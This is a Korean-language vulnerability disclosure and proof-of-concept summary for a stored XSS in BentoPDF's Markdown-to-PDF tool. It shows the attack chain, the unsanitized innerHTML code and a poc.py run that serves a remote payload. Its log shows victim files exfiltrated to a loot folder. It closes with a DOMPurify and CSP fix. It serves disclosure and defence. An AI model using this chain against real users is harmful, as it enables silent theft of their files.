공격자가 report.md 전송 ( 포함)
  -> 피해자가 Markdown-to-PDF에서 열람
    -> markdown-it이 원시 HTML 렌더링 (html: true)
      -> preview.innerHTML = html  (DOMPurify 없음)
        -> 공격자 서버에서 poc_payload.js 로드 (CSP 없음)
          -> FileReader + <input type=file> 후크 전역 설치
            -> 숨겨진 팝업이 모든 도구 이동 시 후크 재주입
              -> 피해자가 여는 모든 파일이 조용히 유출됨

private mdOptions: MarkdownItOptions = {
  html: true,   // 원시 HTML 태그가 마크다운 파서를 통과함
  breaks: false,
  linkify: true,
  typographer: true,
};

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // 공격자가 제어하는 HTML이 DOM에 주입됨
  this.renderMermaidDiagrams();
}

# 유출을 위한 공격자 서버 시작
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py는 다음을 수행합니다:
#   - 현재 디렉토리에 poc_report.md 페이로드 생성
#   - 피해자의 콜백 및 유출 파일 수신 대기

$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF 저장형 XSS -> 파일 유출
  PoC by Astaruf (https://nstsec.com)

========================================================================
  유출 서버:    http://127.0.0.1:9999
  페이로드:   http://127.0.0.1:9999/poc_payload.js
  Loot 디렉토리:  /home/kali/loot
========================================================================

  악성 .md 파일 준비 완료: /home/kali/poc_report.md

  피해자에게 보내고 Markdown-to-PDF 도구에서 열도록 요청하세요.
  페이로드는 미리보기가 렌더링되는 즉시 실행됩니다.

========================================================================

  피해자 대기 중...

[17:11:11] WASM HIJACK     { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON          { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON          { page: '.../index.html' }
[17:12:00] BEACON          { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON          { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171358_Lorem_ipsum.pdf

import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;